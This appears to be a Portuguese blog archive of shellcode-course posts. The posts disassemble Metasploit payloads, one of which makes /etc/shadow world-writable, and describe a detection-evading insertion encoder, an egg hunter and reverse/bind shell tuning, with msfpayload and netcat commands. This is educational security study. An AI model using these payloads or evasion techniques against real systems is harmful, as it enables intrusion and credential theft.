Tradutor

sábado, 20 de abril de 2013

SLAE - 5th Assignment - Metasploit Shellcodes Analysis

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/5th.assignment


Missão

Olá! Estou de volta com a quinta missão do curso SLAE.

5th assignment:
- dissecar três shellcodes do Metasploit utilizando ndisasm (ou gdb) e libemu
- apresentar análise


1st - linux/x86/chmod

# msfpayload linux/x86/chmod S

       Name: Linux Chmod
     Module: payload/linux/x86/chmod
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 143
       Rank: Normal

Provided by:
  kris katterjohn <katterjohn@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Description:
  Runs chmod on specified file with specified mode

A syscall chmod recebe dois argumentos, o primeiro é o caminho ou arquivo a ter as permissões setadas, e o segundo é o bitmask resultado dos respectivos octais "ORed".

O payload linux/x86/chmod modifica as permissões de acesso do arquivo /etc/shadow para 0666.

# msfpayload linux/x86/chmod R | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

Ele inicia com a instrução CDQ no intento de zerar EDX; aqui, já econtramos uma falha no shellcode do msf. Se houver lixo em EAX (um número negativo, por exemplo) EDX não será zerado, pois o CDQ copia o sign bit 31 de EAX para todos os bits de EDX.

00000000  99                cdq

A segunda instrução coloca o valor 15 ou 0xf em hexa no topo da STACK para seguidamente ser retirado e inserido em EAX.

00000001  6A0F              push byte +0xf    __NR_chmod
00000003  58                pop eax

Salvando EDX (supostamente 0) na stack.

00000004  52                push edx

"Percebi que essa última instrução, se removida, não afeta o shellcode, uma vez que o nome do arquivo não é inserido na STACK. Serão, então, a CDQ e a PUSH EDX, tentativas de evasão de IPS/IDS?"

Agora, o shellcode faz uma CALL para o EIP somado de 22 bytes. Esta call é utilizada em conjunto com a próxima instrução que retirará o novo endereço de EIP da STACK e salvará em EBX, onde o nome do arquivo (primeiro argumento da syscall) está em forma de bytes.

00000005  E80C000000        call dword 0x16    Mais um problema no payload - NULL bytes
...
00000016  5B                 pop ebx

Vejam que se convertermos os bytes do trecho entre a CALL (byte 5) e o destino (byte 16) em string, encontraremos o nome do arquivo.

2F                das
657463            gs jz 0x71
2F                das
7368              jnc 0x79
61                popad
646F              fs outsd
7700              ja 0x16

A string é hardcoded no payload com a terminação NULL (0).

# python
>>>  bytes.fromhex("2F6574632F736861646F7700")
b'/etc/shadow\x00'

No gdb, podemos verificar isso mais facilmente.

(gdb) x/s $ebx
0x804974a <shellcode+10>: "/etc/shadow"

(gdb) x/12bx $ebx
0x804974a <shellcode+10>: 0x2f 0x65 0x74 0x63 0x2f 0x73 0x68 0x61
0x8049752 <shellcode+18>: 0x64 0x6f 0x77 0x00

Em seguida, é inserido na STACK e retirado com POP ECX o bit mask para uso como segundo argumento da syscall chmod.

00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx

O valor hexa 0x1b6 corresponde ao octal 0666.

# printf '%o\n' 0x01b6
666

ou

# printf '%x\n' 0666 (lembre-se de colocar o zero à esquerda)
0x1b6

O restante do payload trata de chamar a syscall chmod com a INT 0x80 e fechar o programa explorado.

0000001D  CD80              int 0x80

0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

O chmod do msf tem 36 bytes. Dele consegui diminuir 2 bytes e ainda evitar possíveis bytes lixo; vejam abaixo.




2nd - linux/x86/read_file

# msfpayload linux/x86/read_file PATH=/etc/passwd S

       Name: Linux Read File
     Module: payload/linux/x86/read_file
    Version: 
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 180
       Rank: Normal

Provided by:

  hal

Basic options:

Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH  /etc/passwd      yes       The file path to read

Description:

  Read up to 4096 bytes from the local file system and write it back 
  out to the specified file descriptor

O payload read_file faz uso de quatro syscalls: open, read, write e exit. Mais informações: man 2 syscall.

# msfpayload linux/x86/read_file PATH=/etc/passwd R | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  0000              db 0x00

Encontramos mais uma vez o uso do JMP/CALL/POP para obter o endereço da string e, neste caso, copiá-lo para EBX.

00000000  EB36              jmp short 0x38
...
00000038  E8C5FFFFFF        call dword 0x2
...
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx

A string se localiza logo abaixo da instrução CALL.

E8C5FFFFFF        call dword 0x2
2F                das
657463            gs jz 0xa4
2F                das
7061              jo 0xa5
7373              jnc 0xb9
7764              ja 0xac
00                db 0x00

python
>>>  bytes.fromhex("2F6574632F70617373776400")
b'/etc/passwd\x00'

A continuação do shellcode é de fácil compreensão.

int open(["/etc/passwd", 0], 0);

00000002  B805000000        mov eax,0x5    NULL bytes
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80

Após obtermos o retorno de open (file descriptor), continuamos com a syscall read, que copiará 4096 bytes do file descriptor dentro da STACK.

ssize_t read(ebx, *esp, 4096);

0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80

Eu realmente não entendi o motivo do payload utilizar EDI, e portanto fazer a cópia duas vezes do ponteiro de ESP. Pois bastava fazer: mov ecx,espSerá isso mais uma tentativa de evasão?

Agora que já temos os dados do arquivo, vamos escrevê-lo no stdout.

ssize_t write(1, *esp, edx);

0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80

E sair do programa graciosamente.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

A versão do msf tem 73 bytes. A minha tem apenas 51 bytes, é à prova de lixo e livre de null bytes.


O limite de leitura e escrita de 4096 bytes é uma garantia para não haver estouro de pilha. Podemos saber qual o limite da STACK utilizando o ulimit.

# ulimit -a
...
stack size              (kbytes, -s) 8192
...

E se precisarmos de mais espaço na STACK, podemos aumentar o seu tamanho antes de a utilizarmos.

# man 2 setrlimit
...
int setrlimit(int resource, const struct rlimit *rlim);
...

;)


3rd - linux/x86/exec

# msfpayload linux/x86/exec S

       Name: Linux Execute Command
     Module: payload/linux/x86/exec
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 143
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

# msfpayload linux/x86/exec CMD=/bin/sh R | ndisasm -u -

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E808000000        call dword 0x25
0000001D  2F                das
0000001E  62696E            bound ebp,[ecx+0x6e]
00000021  2F                das
00000022  7368              jnc 0x8c
00000024  005753            add [edi+0x53],dl
00000027  89E1              mov ecx,esp
00000029  CD80              int 0x80

O execve é um velho conhecido nosso, correto? Por isso, deixo esta análise com vocês. Comparem o assembly do msf com o do Vivek e depois com o Tiny Execve Sh, o qual já apresentei em post anterior.

Dǘvidas? Críticas!? Comentem. Será um prazer respondê-los.

Até a próxima.

o//


Mais Informações

sexta-feira, 12 de abril de 2013

SLAE - 4th Assignment - Encoding and Decoding Gollums

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/4th.assignment

Shell-Storm:


Olá pessoal!

Com este post prosseguiremos as missões do curso SLAE.

Gostaria de ressaltar que, no último vídeo do treinamento, Vivek determinou que o aluno que reduzir os shellcodes e/ou tê-los aceitos em repositórios receberá pontuação extra para a certificação.

Eu venho tentando, além de reduzir o tamanho, criar versões dos shellcodes com propriedades singulares; exemplos são o Shell Bind TCP (GetPC) e o Shell Bind TCP (com REUSE), este que acabou originando o Tiny Shell Bind TCP Random Port (57 bytes).

Porém, nesta missão, Vivek foi claro quanto à originalidade do shellcode. Ou seja, neste payload, o que importará realmente é o engendramento de um método de inserção divergente do que ele demonstrou em aula.


Insertion Decoder

Um Shellcode Insertion Decoder realiza o realinhamento de um shellcode devidamente encodado com inserção de garbage bytes. Sua utilização é voltada para a tentativa de bypass de ferramentas que detectam injeção de shellcode.

Na respectiva aula ele cria um decoder sequencial que substitui gargabe bytes ao copiar o byte verdadeiro na sequencia correta. Inicialmente, pensei em apenas remodelar o padrão de inserção da versão dele para, em vez de fazer o decoding de apenas um garbage byte (x_x_x_), fazer de dois (x__x__x__). Mas nem cheguei a amadurecer a ideia, desisti ao realizar que tal modificação não seria nem original muito menos útil num caso concreto.


Cachola para que te quero?!

Após alguns dias da resignação à ideia anterior, eis que me acendeu uma luz acima da cabeça! Por que não criar um decoder com análise para qualquer padrão? Deixando nas mãos do usuário a possibilidade de inserir o lixo no shellcode da forma que melhor lhe aprouver? Isso sim seria original!

Why not?!


Assembly e C (perfect couple)

O shellcode exigido na missão era o do execve_stack já corretamente encodado. Como um plus, reduzi o tamanho dele engendrando o Tiny Execve Sh (21 bytes), cujos código e shellcode podem ser visualizados no github.

Inseri o garbage byte em posições aleatórias dentro desse shellcode e, após um estudo algorítmico concretizei o decoder em asm como podem ver abaixo.



O que ele faz é percorrer a área da memória na qual o shellcode está inserido, comparando o byte lido com o byte lixo, e reordenando-os quando resolvidas as condições. Dúvidas? Leia o código fonte, está bem comentado.


Pronto para publicar!

Logo após ter feito push no git, já me preparando para escrever este post, tweetei para o Vivek!

Wow!

Ele não só apenas gostou do decoder, pediu também que eu fizesse um extra:

Well, lets go!


An Unexpected Journey

Nunca tinha programado em python, a não ser modificado algum pedaço de código ou lido rapidamente. Entretanto, sempre ouvi falar que é uma ótima linguagem para aprender, assim como para diversos outros fins.

The campaign begins...

Um obstáculo:
- Uso de argumentos para receber o shellcode e demais parâmetros.

Não estava conseguindo preencher a variável shellcode da forma correta... descobri, após garimpar os pergaminhos do python, que era por conta da necessidade do uso de encoding. Mas mesmo usando o encode(), este baggins não conseguia fazer com que a string shellcode ficasse como bytearray. Até que o wizard sigsegv empunhou o seu cajado proclamando: error handler surrogateescape. Valeu, sig!

Outro obstáculo:
- Bytes, Strings...

Continuando na campanha, precisei comparar, em alguns casos, string a byte... como era meu primeiro contato com a linguagem quase fui cozido por alguns trolls até me lembrar de umas dicas dadas pelo Pedro Fausto, um Dwarf que guerreia distante do Reino perdido de Erebor. hex() e int() foram suas armas. Valeu, Pedro!


Epílogo


Uso:
# ./insertion_encoder.py -h
# ./insertion_encoder.py -g f3 -p xxbbxb -e f1f1 -s $'\x31...\x80'

@geyslangb @felipensp @pedrofaustojr and the code really looked 133t on my iPhone screen ... ;)

Not at all, Vivek.


Galadriel: Why the Halfling?

Gandalf: Saruman believes it is only great power that can hold evil in check, but that is not what I have found. I found it is the small everyday deeds of ordinary folk that keep the darkness at bay... small acts of kindness and love. Why Bilbo Baggins? That's because I am afraid and it gives me courage.


#\o/

domingo, 7 de abril de 2013

Crack them all!

Olá pessoal!

Recentemente, por conta do curso SLAE, conheci o Andrey Arapov; russo gente fina! Em um de nossos talks enviei-lhe um crackme que tinha preparado para o Cogumelo Binário. Não deu outra, o cara só descansou quando conseguiu descobrir a senha!

Mas não paramos por aí! Após analisar o walkthrough dele, compilei uma nova versão com alguns tricks adicionais.

Deu no mesmo! (LOL) Logo Andrey o crackeou... e postou o respectivo walkthrough.


Congratulations Andrey! You rocks!


Os binários estão disponíveis no github, assim como os códigos fonte.

Sim, e a próxima versão, com um plus de dificuldade, já está na prancheta!

Have fun!


Mais Informações


quarta-feira, 27 de março de 2013

SLAE - 3rd Assignment - Caçando Ovos?

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:


Terceira Missão (Caça aos bits)

Olá! Continuemos com a terceira missão do SLAE.

Nesta empreitada, vamos caçar ovos... não, cooler, não vai ser um elefante engolido por uma jiboia, muito menos achocolatados. :D []'s

3rd assignment:
- estudar sobre shellcodes egg hunter
- criar uma demonstração funcional de um
- essa demonstração deve ser configurável para diferentes payloads

O resultado da pesquisa sobre egg hunting foi escasso. Encontrei apenas um shellcode do tipo para Linux. Fiz alguns testes mas logo vi que ele não era funcional, pois tentava ler toda a VAS do usuário (0x0 a 0xffffffff) resultando em SIGSEGV quando batia na porta de uma área protegida. A ideia principal que era percorrer a memória num looping eu já tinha abstraído, entretanto, como fazer isso de forma segura?

Perseverei no google e mudei a pesquisa de linux egg hunter para "windows" egg hunter. Bingo! Encontrei um paper fantástico escrito por skape em 2004, Safely Searching Process Virtual Address Space. Esse artigo, felizmente, além de abordar o windows, descreve duas formas no linux de se verificar se o usuário (aplicativo) tem permissões de leitura a dado offset. A primeira, a qual optei, é através da syscall access e a segunda é através da sigaction. Não sei por que tive que colocar "windows" na pesquisa; o que importa é que encontrei o que precisava.

Ok! Mas você não disse para que serve mesmo um egg hunter!

Perdão, vamos lá! Em alguns casos de exploração encontramos pequenas janelas de buffer disponíveis para injeção de código, nas quais um shellcode de tamanho maior seria inútil. Nessa mesma janela poderíamos injetar um Egg Hunter, obviamente menor que o shellcode principal, para vasculharmos a memória em busca do nosso shellcode (egg). Em suma, o Egg Hunter é um tipo de stager shellcode.

Mas como nosso shellcode principal (egg) estaria na memória?

Isso vai depender da aplicação explorada, das formas de entrada de dados etc. Como exemplos poderíamos ter um browser que carregaria o egg de um html, um mp3 player que carregaria o egg de um mp3 ou m3u, um programa genérico que leria todo o conteúdo de um arquivo de configuração com o egg implantado.

Compreendendo as explicações do skape a respeito do seu Egg Hunter (access), complementei-o com controle de lixo dos registers e limpando o DF (Direction Flag) para se garantir o incremento de EDI no uso da SCASD.

O resultado foi este.


Fluxograma gerado no r2 (radare).


Para facilitar a exemplificação, o Egg já se encontra no próprio Egg Hunter Launcher.


A configuração da assinatura do Egg é feita mudando-se os seus oito primeiros bytes; já no Egg Hunter, do 25° ao 28° byte. Optei por usar opcodes que não interferem no fluxo (nops, pushs), mesmo eles sendo ignorados no último JMP.

É importante ressaltar que os quatro últimos bytes, no caso do Egg, são uma mera repetição dos quatro primeiros; tal medida visa a fortificar a identificação evitando-se falso-positivos e faz parte do algoritmo de identificação do Egg Hunter, assim, se desejarem modificar os quatro primeiros bytes, repliquem a mesma mudança nos últimos.


Testando

# gcc -m32 -fno-stack-protector -z execstack egg_hunter_shellcode.c -o egg_hunter_shellcode
# ./egg_hunter_shellcode
Egg Mark



Missão Cumprida

Bom pessoal, é isso. Boa caça aos ovos!


Mais Informações

segunda-feira, 25 de março de 2013

O menor do mundo? Yeah? So Beat the Bits!

/*
Off-Topic: Está disponível no Shell-Storm versão do Shell Bind TCP usando o método GetPC (GetEIP). Os demais shellcodes apresentados neste post também já foram disponibilizados no mesmo repositório. Tks again, Salwan.
*/

Enquanto que em muita área por aí o que importa é ter ou fazer algo grande, quando falamos em shellcodes sempre os queremos minúsculos, correto? E mesmo que isso não seja tão importante para as  mais recentes técnicas de exploração, você não gostaria que o seu fosse menor? =D

Bom, como sou teimoso, aproveitei o tempo de viagem de onde estou trabalhando até minha casa (10h de ônibus) para brincar um pouco com as versões anteriores que disponibilizei e consequentemente aprender mais. Meu notebook, graças ao Jupiter, aguentou 7h de pdfs, chrome (em offline), editores, compilação e muito debugging.

O que fazer para se diminuir o tamanho de um shellcode?

Com a questão em mente, condensei nas regras abaixo o que aprendi.


Regra n. 01 - Certificar-se da "pureza" dos registers antes de serem preenchidos com valores menores que o da arquitetura

Num ambiente de desenvolvimento e exploração, ao se testar um shellcode projetado, os registers se apresentam sem lixo, o que pode mascarar o seu real funcionamento.

Temos que ter em mente que um shellcode é um pedaço de código injetado em um programa já em execução com suas STACK e registers já em utilização. Se começarmos a simplesmente utilizar esses registers ou a STACK sem as devidas providências o shellcode não vai servir ao seu propósito.

Na arquitetura 32 bits, se eu movimentar (não gosto de usar o termo movimentar; mesmo a instrução se chamando MOV o que ela faz, em verdade, é copiar) um valor para um register [mov eax, 10], a instrução preenche totalmente o EAX com o valor imediato.

Se antes da cópia EAX tiver 0xffffffff, após ele ficará com 0x0000000a:

b8 0a 00 00 00       mov    eax,0xa

Até então sem problemas, certo? Não, para um shellcode! O opcode B8 que movimenta o valor imediato 0xa (10) preenche todos os 32 bits de EAX, e você deve se recordar que não podemos ter null bytes para que o payload seja funcional.

Contornando a situação com [mov al, 10]:

b0 0a                 mov    al,0xa

Like a charm? Copiamos agora apenas o byte necessário 0xa para o register AL de 8 bits.


Contudo, se EAX já estiver, hipoteticamente, com 0xffffffff, ao copiarmos apenas para AL, o valor final será 0xffffff0a (-246). Qualquer syscall ao usar EAX retornará erro.


Dando a volta por cima

Eu estava usando um truque com a instrução CDQ - convert double to quad - para zerar EDX, após preparar EAX com algum valor inicial, ex: PUSH 10 (6A, 0A), POP EAX (58). A CDQ é de apenas um opcode (99), por isso me encantou. Em suma, com ela eu podia despoluir EDX e já deixar EAX preparada com apenas 3 bytes.

Sendo que o zero é essencial para o preenchimento dos argumentos das syscalls mas não pode estar presente no shellcode, essa técnica permite termos o zero em EDX para utilização posterior.

E eu não poderia fazer isso usando XOR? Sim, mas a custo de mais um byte. 

31 d2                 xor    edx,edx
...
99                   cdq

E para limpar os demais registers necessários no início do shellcode sempre serão utilizados dois opcodes, seja com a técnica do XOR,  com a do PUSH reg, POP reg ou com a do MOV reg, reg.

31 d2                 xor    edx,edx
...
52                   push   edx (que já será zero após o cdq)
5b                   pop    ebx
...
89 dd                 mov    ebp,ebx

De tanto garimpar, descobri um truque com o uso da instrução MUL - unsigned multiply - que permite despoluir três registers de uma só vez (EAX, EBX [poderia ser outro: ECX, ESI, ...] e EDX).

31 db                 xor    ebx,ebx
f7 e3                 mul    ebx

Ele gera um byte a mais, entretanto um a menos se usarmos um XOR, para zerar EBX logo após o uso do CDQ.

Temos também o mágico XCHG que permuta os valores de dois registers a custo de apenas um byte se um dos envolvidos na troca for o EAX; qualquer outro tipo de permuta terá dois opcodes.

95                   xchg   ebp,eax
96                   xchg   esi,eax
87 d9                 xchg   ecx,ebx

De toda sorte, essas formas (CDQ, MUL, MOV, XOR e XCHG) são boas e devem, se possível, ser utilizadas em conjunto. O sucesso na redução do tamanho irá depender de quais registers serão necessários às syscalls do shellcode e de que valores já estarão contidos neles, dando vantagem a uma forma em detrimento às demais.


Regra n. 02 - Reutilizar dados já inseridos na STACK

Eu estava simplesmente fazendo PUSH de todos os argumentos necessários a cada syscall, desprezando o que eu já havia inserido na STACK. Obviamente os primeiros valores a serem utilizados precisam ser inseridos por nós mesmos, pois não sabemos o que há na pilha (o contrário pode ser dito se se tratar de uma aplicação em específico, cujo exploit fora desenvolvido por nós mesmos).

Socket

52                   push   edx
53                   push   ebx
6a 02                 push   0x2
89 e1                 mov    ecx,esp

Bind

b3 02                 mov    bl,0x2
52                   push   edx
66 68 2b 67           pushw  0x672b
66 6a 02             pushw  0x2
89 e1                 mov    ecx,esp

No exemplo acima, sem reutilizar os dados da STACK, ao criar a estrutura sockaddr_in para fazer o Bind, são gerados 12 bytes. Todavia, vejam a diferença fazendo uso dos dados já existentes.

5b                   pop    ebx
5e                   pop    esi
52                   push   edx
66 68 2b 67           pushw  0x672b

Fantasticamente geramos apenas 7 bytes (cinco a menos). É importante ressaltar que a instrução POP apenas copia o valor da pilha para algum destino, modificando o ponteiro (ESP) do topo da pilha e deixando o valor intacto na memória, contrariamente à PUSH que o substitui. Atente para o fato de que ECX já contém o ponteiro para os dados que estamos utilizando, portanto, não o alteramos.

Se algum dado distante na STACK precisar ser modificado para reutilização correta dos demais, tiramos proveito fazendo a modificação com a MOV e um ponteiro, gerando apenas 3 bytes.

89 51 04             mov    DWORD PTR [ecx+0x4],edx

Mais uma vez, devemos ponderar qual método é mais eficaz em cada caso.


Regra n. 03 - Usar instruções com menor número de opcodes

Mesmo esta regra sendo óbvia e estar implícita nas anteriores, faço questão de exemplificar com algumas instruções, para que haja melhor entendimento.

43                   inc    ebx

b3 02                 mov    bl,0x2

No caso acima, se EBX já contivesse 1, mais inteligente seria apenas a incrementarmos com INC, em vez de a atribuirmos 2 com MOV. Abaixo, segue exemplo de redução usando a LEA - load effective address - para uso aritmético com vários operandos em vez da ADD (tks Pedro Fausto).

01 d8                 add    eax,ebx
83 c0 02             add    eax,0x2

8d 44 18 02           lea    eax,[eax+ebx*1+0x2]



Regra n. 04 - GetPC (GetEIP) - Adendo

Esqueci-me de mencionar, na postagem original, a técnica GetPC que utilizei como demonstração no shellcode Shell Bind TCP - GetPC (github: assemblyfluxograma).

Se o shellcode tiver um tamanho considerável e houver uma certa quantidade de instruções que se repetem, esse método é válido para se diminuir o payload usando as CALL e RET.

Analisem os códigos! Vale à pena.


Os menores do mundo? Não sei, diga-me!

O resultado de tanto mexido foi o engendramento dos três, aparentemente, menores shellcodes do mundo nas suas respectivas especificidades.

Shellcode Improvements (github com os concernentes fluxogramas e shellcode launchers)



Eu desafio vocês!

Pensando nisso estou lançando um concurso para redução dos shellcodes apresentados. Para concorrer basta criar um shellcode dos tipos acima com menor tamanho em bytes e enviar para geyslan@gmail.com. Para redução podem ser utilizados, se preferirem, os que disponibilizei.


Premiação

Aprendizado! E menos bytes! ;D

Vemo-nos em breve!


Mais Informações

Shell-Storm
Intel 64 and IA-32 Manuals

quarta-feira, 20 de março de 2013

SLAE - 2nd Assignment - Shell Reverse TCP

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/2nd.assignment

<UPDATE>
   O shellcode final deste post foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>


Segundo Exame

Vivek, para este assignment, designou o seguinte:

Criar um shellcode de Shell Reverse TCP

- Executar um shell ao conectar no host reverso
- Tornar fácil a configuração dos IP e porta

Como material, analisar o linux/x86/shell_reverse_tcp do Metasploit usando o libemu.


libemu - sctest - strace - man

Comecei gerando o fluxograma do shellcode do Metasploit.

# msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 R | /opt/libemu/bin/sctest -Ss 100000 -vvv -G shell_reverse_tcp_metasploit.dot

# dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png


Vê-se que, diferentemente dos shell_bind_tcp nos quais trabalhamos nos posts anteriores, o shell_reverse_tcp, logo após a criação do socket (socket), faz a duplicação (dup2) dos files descriptors e já efetua a conexão (connect) nos endereço e porta definidos para finalmente executar (execve) o "/bin/sh".

Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D

# nc -l 127.0.0.1 55555

Em outro terminal.

# strace -e socket,connect nc 127.0.0.1 55555
...
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)

Com as novas informações anotadas e revisadas, construí de primeira o shellcode enxuto em assembly nasm.



Por conta da possibilidade trivial de se configurar a porta e o IP, o shellcode só estará livre de null-bytes caso esses valores não tenham numeração em hexa x00. Entretanto, se o null-byte realmente impossibilitar a utilização do shellcode, temos outras maneiras de darmos bypass. Em próximos posts veremos isso.

O shellcode final teve um aumento de 4 bytes, ficando com  72 (metasploit = 68). Esse acréscimo se deu pela propriedade da configuração do IP e da Porta nos seus primeiros bytes. Mesmo com as instruções diferentes, o resultado foi igual. Vejam.



TESTANDO

# gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode

Terminal host
# nc -l 127.1.1.1 55555

Terminal cliente
# ./shellcode

Terminal host novamente
# netstat -anp | grep shell
tcp        0      0 127.0.0.1:51600   127.1.1.1:55555   ESTABLISHED   976/shellcode


Reversing (Gotcha)

Mais um shellcode construído: Shell Reverse TCP (Linux/x86) com IP e porta facilmente configuráveis (segundo ao quinto e nono ao décimo byte, respectivamente).

P.S.

Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Com todo prazer, farei as alterações colocando os devidos créditos.


[]


Mais Informações

segunda-feira, 18 de março de 2013

Hacking do Dia - Shell Bind TCP Random Port

/*
   Para melhor entendimento, leiam o post anterior SLAE - 1st Assignment - Shell Bind TCP
*/

<UPDATE>
   O shellcode final deste post foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>

<UPDATE 2>
   Foram incluídas no Metasploit as versões x86 e x86_64 deste payload.
   Tks Ewerson Guimarães (Crash), Tod Beardsley and all involved in Metasploit project.
   x86 payload
   x86_64 payload
</UPDATE 2>

Olá pessoal!

Comentários são sempre fantásticos. Sabem por quê? 

Porque através da troca de conhecimento ideias surgem. E, havendo vontade, essas ideias podem se transformar em algo útil.

Esta tarde, Tiago Natel (SecPlus) me respondeu, com veemência e propriedade, sobre o post SLAE - 1st Assignment na lista do Brasil Underground. A informação que ele passou sobre shellcodes e o uso do SO_REUSEADDR foram engrandecedoras para mim e os demais da lista.

Por e-mail, marcamos de debatermos o assunto, o que aconteceu no finalzinho da tarde.

Fizemos, em conjunto, uns debbugs e traces dos shellcodes do metasploit e do que disponibilizei via github. Constatamos que realmente o do metasploit gera SIGSEGV quando a porta ainda está em TIME_WAIT, uma vez que ao tentar fazer o bind, e não conseguir, o registrador $eax recebe número negativo (erro) e fica poluído. Mesmo as novas cópias para esse registrador não resolvem, já que, para se evitar null-bytes, os shellcodes têm mov's usando o registrador $al, que copiam apenas 1 byte, deixando o resto de $eax como está. Bom, dá para imaginar que o shellcode não vai funcionar muito bem. :D

Identificamos, porém, que quando o meu shell_bind_tcp, sem opção SO_REUSEADDR, era instanciado pela segunda vez, ou seja, com a porta da instância anterior ainda em TIME_WAIT, o socket, ao ser criado, usava uma porta aleatória. De início, achamos isso meio louco! Chegamos a pensar que a listen cuidava disso. Eu pensei que era alguma coisa da libc, mas reproduzi o mesmo efeito com o código asm (apenas com syscalls).

Nesse ínterim, Tiago, por ter bastante experiência, fez uma pesquisa rápida no google e  encontrou informações a respeito do uso do bind no manual POSIX da Fujitsu Siemens Computer (SOCKETS/XTI(POSIX)).

Vejam o achado dele (pg. 23):

"2.6.6 Automatic address assignment by the system

You can still call a function for a socket which actually requires a bound socket (e.g. connect(), sendto(), etc.), even if the socket has no address assigned to it. In this case, the system executes an implicit bind() call with wildcards for the Internet address and port number, i.e. the socket is bound with INADDR_ANY to all IPv4 addresses and with IN6ADDR_ANY to all IPv6 addresses and IPv4 addresses of the host and receives a free port number from the range of non-privileged port numbers."

O que isso quer dizer?

Se não tivermos feito bind no socket, ou se o bind não acontecer por não haver endereço e/ou porta disponíveis, como identificamos no meu shell_bind_tcp sem SO_REUSEADDR, ao se utilizar syscalls como connect, sendto, no nosso caso a listen, o sistema se encarrega de fazer um bind genérico com o atributo INADDR_ANY e de disponibilizar uma porta dentre os números não privilegiados.

De certa forma estávamos corretos, pois pensávamos que era a listen que estava a fazer o bind automático; em verdade, foi através dela que o sistema se encarregou de amarrar o socket a um endereço disponível.

Sim, e daí?

